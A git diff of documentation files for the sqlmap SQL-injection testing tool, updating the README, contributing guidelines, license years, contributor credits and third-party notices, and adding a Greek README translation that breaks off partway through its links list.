diff --git a/.gitattributes b/.gitattributes index 8b6e58fe0..a6b6a3526 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,4 +1,5 @@ *.py text eol=lf +*.conf text eol=lf *_ binary *.dll binary diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 19f3582fd..1de4a195d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -3,13 +3,13 @@ ## Reporting bugs **Bug reports are welcome**! -Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues) or, alternatively, to the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users). +Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). ### Guidelines -* Before you submit a bug report, search both open and closed issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. +* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. * Make sure you can reproduce the bug with the latest development version of sqlmap. -* Your report should give detailed instructions for how to reproduce the problem. If sqlmap raises an unhandled exception, the traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. +* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. * If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* * If you are not sure whether something is a bug, or want to discuss a potential new feature before putting in an enhancement request, the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) is a good place to bring it up. @@ -35,4 +35,4 @@ In order to maintain consistency and readability throughout the code, we ask tha ### Licensing -By submitting code contributions to the sqlmap developers, to the mailing lists, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap project the unlimited, non-exclusive right to reuse, modify, and relicense the code. sqlmap will always be available Open Source, but this is important because the inability to relicense code has caused devastating problems for other Free Software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. +By submitting code contributions to the sqlmap developers, to the mailing list, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. diff --git a/README.md b/README.md index accd0da6e..8115c5dd5 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ sqlmap == + sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. Screenshots @@ -19,7 +20,7 @@ Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlm git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap works out of the box with [Python](http://www.python.org/download/) version '''2.6.x''' and '''2.7.x''' on any platform. +sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform. Usage ---- @@ -32,7 +33,7 @@ To get a list of all options and switches use: python sqlmap.py -hh -You can find sample runs [here](https://gist.github.com/stamparm/5335217). +You can find a sample run [here](https://gist.github.com/stamparm/5335217). To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki). Links @@ -48,5 +49,14 @@ Links * Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demos: [#1](http://www.youtube.com/user/inquisb/videos) and [#2](http://www.youtube.com/user/stamparm/videos) +* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + +Translations +---- + +* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) +* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) +* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) +* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) +* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) diff --git a/doc/COPYING b/doc/COPYING index 38a61d291..880d8774b 100644 --- a/doc/COPYING +++ b/doc/COPYING @@ -1,12 +1,12 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2013 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2015 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free -Software Foundation; Version 2 with the clarifications and exceptions -described below. This guarantees your right to use, modify, and +Software Foundation; Version 2 (or later) with the clarifications and +exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed sqlmap technology into proprietary software, we sell alternative licenses (contact sales@sqlmap.org). diff --git a/doc/THANKS.md b/doc/THANKS.md index 5a790351f..931ab73bc 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -1,768 +1,796 @@ # Individuals -Andres Tarasco Acuna, +Andres Tarasco Acuna, * for suggesting a feature -Santiago Accurso, +Santiago Accurso, * for reporting a bug -Zaki Akhmad, +Syed Afzal, +* for contributing a WAF script varnish.py + +Zaki Akhmad, * for suggesting a couple of features -Olu Akindeinde, +Olu Akindeinde, * for reporting a couple of bugs -David Alvarez, +David Alvarez, * for reporting a bug -Sergio Alves, +Sergio Alves, * for reporting a bug -Thomas Anderson, +Thomas Anderson, * for reporting a bug -Chip Andrews, +Chip Andrews, * for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the update feature taking data from his site -Smith Andy, +Smith Andy, * for suggesting a feature -Otavio Augusto, +Otavio Augusto, * for reporting a minor bug -Simon Baker, +Simon Baker, * for reporting some bugs -Ryan Barnett, +Ryan Barnett, * for organizing the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html -Emiliano Bazaes, +Emiliano Bazaes, * for reporting a minor bug -Daniele Bellucci, +Daniele Bellucci, * for starting sqlmap project and developing it between July and August 2006 -Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH +Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH * for contributing the DB2 support initial patch: fingerprint and enumeration -Anthony Boynes, +Anthony Boynes, * for reporting several bugs Marcelo Toscani Brandao * for reporting a bug -Velky Brat, +Velky Brat, * for suggesting a minor enhancement to the bisection algorithm -James Briggs, +James Briggs, * for suggesting a minor enhancement -Gianluca Brindisi, +Gianluca Brindisi, * for reporting a couple of bugs -Jack Butler, +Jack Butler, * for contributing the sqlmap site favicon -Ulisses Castro, +Ulisses Castro, * for reporting a bug -Roberto Castrogiovanni, +Roberto Castrogiovanni, * for reporting a minor bug -Cesar Cerrudo, +Cesar Cerrudo, * for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf -Karl Chen, +Karl Chen, * for contributing the initial multi-threading patch for the inference algorithm -Y P Chien, +Y P Chien, * for reporting a minor bug -Pierre Chifflier, and Mark Hymers, +Pierre Chifflier, and Mark Hymers, * for uploading and accepting the sqlmap Debian package to the official Debian project repository -Hysia Chow +Hysia Chow * for contributing a couple of WAF scripts -Chris Clements, +Chris Clements, * for reporting a couple of bugs -John Cobb, +John Cobb, * for reporting a minor bug -Andreas Constantinides, +Andreas Constantinides, * for reporting a minor bug -Andre Costa, +Andre Costa, * for reporting a minor bug * for suggesting a minor enhancement -Ulises U. Cune, +Ulises U. Cune, * for reporting a bug -Alessandro Curio, +Alessandro Curio, * for reporting a minor bug -Alessio Dalla Piazza, +Alessio Dalla Piazza, * for reporting a couple of bugs -Sherif El-Deeb, +Sherif El-Deeb, * for reporting a minor bug -Stefano Di Paola, +Stefano Di Paola, * for suggesting good features -Mosk Dmitri, +Mosk Dmitri, * for reporting a minor bug -Meng Dong, +Meng Dong, * for contributing a code for Waffit integration -Carey Evans, +Carey Evans, * for his fcrypt module that allows crypt(3) support on Windows platforms -Shawn Evans, +Shawn Evans, * for suggesting an idea for one tamper script, greatest.py -Adam Faheem, +Adam Faheem, * for reporting a few bugs -James Fisher, +James Fisher, * for contributing two very good feature requests * for his great tool too brute force directories and files names on web/application servers, DirBuster, http://tinyurl.com/dirbuster -Jim Forster, +Jim Forster, * for reporting a bug -Rong-En Fan, +Rong-En Fan, * for commiting the sqlmap 0.5 port to the official FreeBSD project repository -Giorgio Fedon, +Giorgio Fedon, * for suggesting a speed improvement for bisection algorithm * for reporting a bug when running against Microsoft SQL Server 2005 -Kasper Fons, +Kasper Fons, * for reporting several bugs -Jose Fonseca, +Jose Fonseca, * for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only http://code.google.com/p/jrfonseca/wiki/Gprof2Dot http://code.google.com/p/jrfonseca/wiki/XDot -Alan Franzoni, -* for helping me out with Python subprocess library +Alan Franzoni, +* for helping out with Python subprocess library -Harold Fry, +Harold Fry, * for suggesting a minor enhancement -Daniel G. Gamonal, +Daniel G. Gamonal, * for reporting a minor bug -Marcos Mateos Garcia, +Marcos Mateos Garcia, * for reporting a minor bug -Andrew Gecse, +Andrew Gecse, * for reporting a minor issue -Ivan Giacomelli, +Ivan Giacomelli, * for reporting a bug * for suggesting a minor enhancement * for reviewing the documentation -Nico Golde, +Nico Golde, * for reporting a couple of bugs -Oliver Gruskovnjak, +Oliver Gruskovnjak, * for reporting a bug * for contributing a minor patch -Davide Guerri, +Davide Guerri, * for suggesting an enhancement -Dan Guido, +Dan Guido, * for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic University of New York, http://isisblogs.poly.edu/courses/pentest/ -David Guimaraes, +David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features -Chris Hall, +Chris Hall, * for coding the prettyprint.py library -Tate Hansen, +Tate Hansen, * for donating to sqlmap development -Mario Heiderich, -Christian Matthies, -Lars H. Strojny, +Mario Heiderich, +Christian Matthies, +Lars H. Strojny, * for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, http://php-ids.org -Kristian Erik Hermansen, +Kristian Erik Hermansen, * for reporting a bug * for donating to sqlmap development -Alexander Hagenah, +Alexander Hagenah, * for reporting a minor bug -Dennis Hecken, +Dennis Hecken, * for reporting a minor bug -Choi Ho, +Choi Ho, * for reporting a minor bug -Jorge Hoya, +Jorge Hoya, * for suggesting a minor enhancement -Will Holcomb, +Will Holcomb, * for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source code -Daniel Huckmann, +Daniel Huckmann, * for reporting a couple of bugs -Daliev Ilya, +Daliev Ilya, * for reporting a bug -Jovon Itwaru, +Mehmet İnce, +* for contributing a tamper script xforwardedfor.py + +Jovon Itwaru, * for reporting a minor bug -Prashant Jadhav, +Prashant Jadhav, * for reporting a bug -Dirk Jagdmann, +Dirk Jagdmann, * for reporting a typo in the documentation -Luke Jahnke, +Luke Jahnke, * for reporting a bug when running against MySQL < 5.0 -David Klein, +Andrew Kitis +* for contributing a tamper script lowercase.py + +David Klein, * for reporting a minor code improvement -Sven Klemm, +Sven Klemm, * for reporting two minor bugs with PostgreSQL -Anant Kochhar, +Anant Kochhar, * for providing with feedback on the user's manual -Dmitriy Kononov, +Dmitriy Kononov, * for reporting a minor bug -Alexander Kornbrust, +Alexander Kornbrust, * for reporting a couple of bugs -Krzysztof Kotowicz, +Krzysztof Kotowicz, * for reporting a minor bug -Nicolas Krassas, +Nicolas Krassas, * for reporting a couple of bugs -Oliver Kuckertz, +Oliver Kuckertz, * for contributing a minor patch -Alex Landa, +Alex Landa, * for contributing a patch adding beta support for XML output -Guido Landi, +Guido Landi, * for reporting a couple of bugs * for the great technical discussions * for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploit development -* for presenting with me at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009 +* for presenting with Bernardo at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009 -Lee Lawson, +Lee Lawson, * for reporting a minor bug -John J. Lee, and others +John J. Lee, and others * for developing the clientform Python library used by sqlmap to parse forms when --forms switch is specified -Nico Leidecker, +Nico Leidecker, * for providing with feedback on a few features * for reporting a couple of bugs * for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over ICMP, http://leidecker.info/downloads/icmpsh.zip -Gabriel Lima, +Gabriel Lima, * for reporting a couple of bugs -Svyatoslav Lisin, +Svyatoslav Lisin, * for suggesting a minor feature -Miguel Lopes, +Miguel Lopes, * for reporting a minor bug -Truong Duc Luong, +Truong Duc Luong, * for reporting a minor bug -Pavol Luptak, +Pavol Luptak, * for reporting a bug when injecting on a POST data parameter -Till Maas, +Till Maas, * for suggesting a minor feature -Michael Majchrowicz, +Michael Majchrowicz, * for extensively beta-testing sqlmap on various MySQL DBMS * for providing really appreciated feedback * for suggesting a lot of ideas and features -Ahmad Maulana, -* for contributing one tamper script, halfversionedmorekeywords.py +Vinícius Henrique Marangoni, +* for contributing a Portuguese translation of README.md -Ferruh Mavituna, +Ahmad Maulana, +* for contributing a tamper script halfversionedmorekeywords.py + +Ferruh Mavituna, * for exchanging ideas on the implementation of a couple of features -David McNab, +David McNab, * for his XMLObject module that allows XML files to be operated on like Python objects -Spencer J. McIntyre, +Spencer J. McIntyre, * for reporting a minor bug * for contributing a patch for OS fingerprinting on DB2 -Brad Merrell, +Brad Merrell, * for reporting a minor bug -Michael Meyer, +Michael Meyer, * for suggesting a minor feature -Enrico Milanese, +Enrico Milanese, * for reporting a minor bug * for sharing some ideas for the PHP backdoor -Liran Mimoni, +Liran Mimoni, * for reporting a minor bug -Marco Mirandola, +Marco Mirandola, * for reporting a minor bug -Devon Mitchell, +Devon Mitchell, * for reporting a minor bug -Anton Mogilin, +Anton Mogilin, * for reporting a few bugs -Sergio Molina, +Sergio Molina, * for reporting a minor bug -Anastasios Monachos, +Anastasios Monachos, * for providing some useful data * for suggesting a feature * for reporting a couple of bugs -Kirill Morozov, +Kirill Morozov, * for reporting a bug * for suggesting a feature -Alejo Murillo Moya, +Alejo Murillo Moya, * for reporting a minor bug * for suggesting a few features -Yonny Mutai, +Yonny Mutai, * for reporting a minor bug -Roberto Nemirovsky, -* for pointing me out some enhancements +Roberto Nemirovsky, +* for pointing out some enhancements -Simone Onofri, +Sebastian Nerz, +* for reporting a (potential) vulnerability in --eval + +Simone Onofri, * for patching the PHP web backdoor to make it work properly also on Windows -Michele Orru, +Michele Orru, * for reporting a couple of bug * for suggesting ideas on how to implement the RESTful API -Shaohua Pan, +Shaohua Pan, * for reporting several bugs * for suggesting a few features -Antonio Parata, +Antonio Parata, * for sharing some ideas for the PHP backdoor -Adrian Pastor, +Adrian Pastor, * for donating to sqlmap development -Christopher Patten, +Christopher Patten, * for reporting a bug in the blind SQL injection bisection algorithm -Zack Payton, +Zack Payton, * for reporting a minor bug -Jaime Penalba, +Jaime Penalba, * for contributing a patch for INSERT/UPDATE generic boundaries -Pedrito Perez, <0ark1ang3l@gmail.com> +Pedrito Perez, <0ark1ang3l(at)gmail.com> * for reporting a couple of bugs -Brandon Perry, +Brandon Perry, * for reporting a couple of bugs -Travis Phillips, +Travis Phillips, * for suggesting a minor enhancement -Mark Pilgrim, +Mark Pilgrim, * for porting chardet package (Universal Encoding Detector) to Python -Steve Pinkham, +Steve Pinkham, * for suggesting a feature * for contributing a new SQL injection vector (MSSQL time-based blind) * for donating to sqlmap development -Adam Pridgen, +Adam Pridgen, * for suggesting some features -Luka Pusic, +Luka Pusic, * for reporting a couple of bugs -Ole Rasmussen, +Ole Rasmussen, * for reporting a bug * for suggesting a feature -Alberto Revelli, -* for inspiring me to write sqlmap user's manual in SGML +Alberto Revelli, +* for inspiring to write sqlmap user's manual in SGML * for his great Microsoft SQL Server take over tool, sqlninja, http://sqlninja.sourceforge.net -David Rhoades, +David Rhoades, * for reporting a bug -Andres Riancho, +Andres Riancho, * for beta-testing sqlmap * for reporting a bug and suggesting some features * for including sqlmap in his great web application audit and attack framework, w3af, http://w3af.sourceforge.net * for suggesting a way for handling DNS caching -Jamie Riden, +Jamie Riden, * for reporting a minor bug -Alexander Rigbo, +Alexander Rigbo, * for contributing a minor patch -Antonio Riva, +Antonio Riva, * for reporting a bug when running with python 2.5 -Ethan Robish, +Ethan Robish, * for reporting a bug -Levente Rog, +Levente Rog, * for reporting a minor bug -Andrea Rossi, +Andrea Rossi, * for reporting a minor bug * for suggesting a feature -Frederic Roy, +Frederic Roy, * for reporting a couple of bugs -Vladimir Rutsky, +Vladimir Rutsky, * for suggesting a couple of minor enhancements -Richard Safran, +Richard Safran, * for donating the sqlmap.org domain -Tomoyuki Sakurai, +Tomoyuki Sakurai, * for submitting to the FreeBSD project the sqlmap 0.5 port -Roberto Salgado, +Roberto Salgado, * for contributing considerable amount of tamper scripts -Pedro Jacques Santos Santiago, +Pedro Jacques Santos Santiago, * for reporting considerable amount of bugs -Marek Sarvas, +Marek Sarvas, * for reporting several bugs -Philippe A. R. Schaeffer, +Philippe A. R. Schaeffer, * for reporting a minor bug -Mohd Zamiri Sanin, +Mohd Zamiri Sanin, * for reporting a minor bug -Jorge Santos, +Jorge Santos, * for reporting a minor bug -Sven Schluter, +Sven Schluter, * for contributing a patch * for waiting a number of seconds between each HTTP request -Ryan Sears, +Ryan Sears, * for suggesting a couple of enhancements * for donating to sqlmap development -Uemit Seren, +Uemit Seren, * for reporting a minor adjustment when running with python 2.6 -Shane Sewell, +Shane Sewell, * for suggesting a feature -Ahmed Shawky, +Ahmed Shawky, * for reporting a major bug with improper handling of parameter values * for reporting a bug -Brian Shura, +Brian Shura, * for reporting a bug -Sumit Siddharth, +Sumit Siddharth, * for sharing ideas on the implementation of a couple of features -Andre Silva, +Andre Silva, * for reporting a bug -Benjamin Silva H. +Benjamin Silva H. * for reporting a bug -Duarte Silva +Duarte Silva * for reporting a couple of bugs -M Simkin, +M Simkin, * for suggesting a feature -Konrads Smelkovs, +Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server -Chris Spencer, +Chris Spencer, * for reviewing the user's manual grammar -Michael D. Stenner, +Michael D. Stenner, * for his keepalive module that allows handling of persistent HTTP 1.1 keep-alive connections -Marek Stiefenhofer, +Marek Stiefenhofer, * for reporting a few bugs -Jason Swan, +Jason Swan, * for reporting a bug when enumerating columns on Microsoft SQL Server * for suggesting a couple of improvements -Chilik Tamir, +Chilik Tamir, * for contributing a patch for initial support SOAP requests -Alessandro Tanasi, +Alessandro Tanasi, * for extensively beta-testing sqlmap * for suggesting many features and reporting some bugs * for reviewing the documentation -Andres Tarasco, +Andres Tarasco, * for contributing good feedback -Tom Thumb, +Tom Thumb, * for reporting a major bug -Kazim Bugra Tombul, +Kazim Bugra Tombul, * for reporting a minor bug -Efrain Torres, -* for helping me out to improve the Metasploit Framework sqlmap auxiliary module and for commiting it on the Metasploit official subversion repository +Efrain Torres, +* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for commiting it on the Metasploit official subversion repository * for his great Metasploit WMAP Framework -Sandro Tosi, +Sandro Tosi, * for helping to create sqlmap Debian package correctly -Jacco van Tuijl, +Jacco van Tuijl, * for reporting several bugs -Vitaly Turenko, +Vitaly Turenko, * for reporting a bug -Augusto Urbieta, +Augusto Urbieta, * for reporting a minor bug -Bedirhan Urgun, +Bedirhan Urgun, * for reporting a few bugs * for suggesting some features and improvements * for benchmarking sqlmap in the context of his SQL injection benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench -Kyprianos Vasilopoulos, +Kyprianos Vasilopoulos, * for reporting a couple of minor bugs -Vlado Velichkovski, +Vlado Velichkovski, * for reporting considerable amount of bugs * for suggesting an enhancement -Johnny Venter, +Johnny Venter, * for reporting a couple of bugs -Carlos Gabriel Vergara, +Carlos Gabriel Vergara, * for suggesting couple of good features -Patrick Webster, +Patrick Webster, * for suggesting an enhancement -Ed Williams, +Ed Williams, * for suggesting a minor enhancement -Anthony Zboralski, +Anthony Zboralski, * for providing with detailed feedback * for reporting a few minor bugs * for donating to sqlmap development -Thierry Zoller, +Thierry Zoller, * for reporting a couple of major bugs -Zhen Zhou, +Zhen Zhou, * for suggesting a feature --insane-, +-insane-, * for reporting a minor bug -1ndr4 joe, +1ndr4 joe, * for reporting a couple of bugs -abc abc, +abc abc, * for reporting a minor bug -Abuse 007, +Abuse 007, * for reporting a bug -Alex, +agix, +* for contributing the file upload via certutil.exe functionality + +Alex, * for reporting a minor bug -anonymous anonymous, +anonymous anonymous, * for reporting a couple of bugs -bamboo, +bamboo, * for reporting a couple of bugs -Brandon E., +Brandon E., * for reporting a bug -black zero, +black zero, * for reporting a minor bug -blueBoy, +blueBoy, * for reporting a bug -buawig, +buawig, * for reporting considerable amount of bugs -Bugtrace, +Bugtrace, * for reporting several bugs -cats, +cats, * for reporting a couple of bugs -Christian S, +Christian S, * for reporting a minor bug -clav, +clav, * for reporting a minor bug -dragoun dash, +dragoun dash, * for reporting a minor bug -fufuh, +flsf, +* for contributing WAF scripts 360.py, anquanbao.py, baidu.py, safedog.py +* for contributing a minor patch + +fufuh, * for reporting a bug when running on Windows -Hans Wurst, +Hans Wurst, * for reporting a couple of bugs -james, +Hysia, +* for contributing a Chinese translation of README.md + +james, * for reporting a bug -Joe "Pragmatk", +Joe "Pragmatk", * for reporting a few bugs -John Smith, +John Smith, * for reporting several bugs * for suggesting some features -m4l1c3, +m4l1c3, * for reporting considerable amount of bugs -mariano, +mariano, * for reporting a bug -mitchell, +mitchell, * for reporting a few bugs -Nadzree, +Nadzree, * for reporting a minor bug -nightman, +nightman, * for reporting considerable amount of bugs -Oso Dog osodog123@yahoo.com +Oso Dog osodog123(at)yahoo.com * for reporting a minor bug -pacman730, +pacman730, * for reporting a bug -pentestmonkey, +pentestmonkey, * for reporting several bugs * for suggesting a few minor enhancements -Phat R., +Phat R., * for reporting a few bugs -Phil P, <@superevr> +Phil P, <(at)superevr> * for suggesting a minor enhancement -ragos, +ragos, * for reporting a minor bug -rmillet, +rmillet, * for reporting a bug -Rub3nCT, +Rub3nCT, * for reporting a minor bug -shiftzwei, +shiftzwei, * for reporting a couple of bugs -smith, +smith, * for reporting a minor bug -Soma Cruz, +Soma Cruz, * for reporting a minor bug -Stuffe, +Spiros94, +* for contributing a Greek translation of README.md + +Stuffe, * for reporting a minor bug and a feature request -Sylphid, +Sylphid, * for suggesting some features -syssecurity.info, +syssecurity.info, * for reporting a minor bug -This LittlePiggy, +This LittlePiggy, * for reporting a minor bug -ToR, +ToR, * for reporting considerable amount of bugs * for suggesting a feature -ultramegaman, +ultramegaman, * for reporting a minor bug -Vinicius, +Vinicius, * for reporting a minor bug -wanglei, +wanglei, * for reporting a minor bug -warninggp, +warninggp, * for reporting a few minor bugs -x, +x, * for reporting a bug -zhouhx, +zhouhx, * for contributing a minor patch # Organizations -Black Hat team, +Black Hat team, * for the opportunity to present my research titled 'Advanced SQL injection to operating system full control' at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of the sqlmap 0.7 release candidate version new features during my presentation * Homepage: http://goo.gl/BKfs7 * Slides: http://goo.gl/Dh65t * White paper: http://goo.gl/spX3N -SOURCE Conference team, +SOURCE Conference team, * for the opportunity to present my research titled 'Expanding the control over the operating system from the database' at SOURCE Conference 2009 on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated some of the sqlmap 0.8 release candidate version new features during my presentation * Homepage: http://goo.gl/IeXV4 * Slides: http://goo.gl/OKnfj -AthCon Conference team, +AthCon Conference team, * for the opportunity to present my research titled 'Got database access? Own the network!' at AthCon Conference 2010 on June 3, 2010 in Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 version features during my presentation * Homepage: http://goo.gl/Fs71I * Slides: http://goo.gl/QMfjO -Metasploit Framework development team, +Metasploit Framework development team, * for their powerful tool Metasploit Framework, used by sqlmap, among others things, to create the shellcode and establish an out-of-band connection between sqlmap and the database server * Homepage: http://www.metasploit.com -OWASP Board, +OWASP Board, * for sponsoring part of the sqlmap development in the context of OWASP Spring of Code 2007 * Homepage: http://www.owasp.org diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 5debfe274..f2479b31a 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -20,6 +20,8 @@ This file lists bundled packages and their associated licensing terms. * The Oset library located under thirdparty/oset/. Copyright (C) 2010, BlueDynamics Alliance, Austria. Copyright (C) 2009, Raymond Hettinger, and others. +* The PrettyPrint library located under thirdparty/prettyprint/. + Copyright (C) 2010, Chris Hall. * The SocksiPy library located under thirdparty/socks/. Copyright (C) 2006, Dan-Haim. @@ -55,7 +57,7 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Copyright (C) 2008-2009, Jose Fonseca. * The KeepAlive library located under thirdparty/keepalive/. Copyright (C) 2002-2003, Michael D. Stenner. -* The MultipartPost library located under thirdparty/multipartpost/. +* The MultipartPost library located under thirdparty/multipart/. Copyright (C) 2006, Will Holcomb. * The XDot library located under thirdparty/xdot/. Copyright (C) 2008, Jose Fonseca. @@ -281,8 +283,6 @@ be bound by the terms and conditions of this License Agreement. Copyright (C) 2012, Marcel Hellkamp. * The PageRank library located under thirdparty/pagerank/. Copyright (C) 2010, Corey Goldberg. -* The PrettyPrint library located under thirdparty/prettyprint/. - Copyright (C) 2010, Chris Hall. * The Termcolor library located under thirdparty/termcolor/. Copyright (C) 2008-2011, Volvox Development Team. diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md new file mode 100644 index 000000000..8b09ba653 --- /dev/null +++ b/doc/translations/README-gr-GR.md @@ -0,0 +1,53 @@ +sqlmap +== + + +Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων. + +Εικόνες +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Μπορείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που επιδεικνύουν κάποια από τα χαρακτηριστικά. + +Εγκατάσταση +---- + +Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Κατά προτίμηση, μπορείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήριο: + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόρμα. + +Χρήση +---- + +Για να δείτε μια βασική λίστα από επιλογές πατήστε: + + python sqlmap.py -h + +Για να πάρετε μια λίστα από όλες τις επιλογές πατήστε: + + python sqlmap.py -hh + +Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://gist.github.com/stamparm/5335217). +Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki). + +Σύνδεσμοι +---- + +* Αρχική σελίδα: http://sqlmap.org +* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues +* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki +* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Εγγραφή σε Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* Mailing list αρχείο: 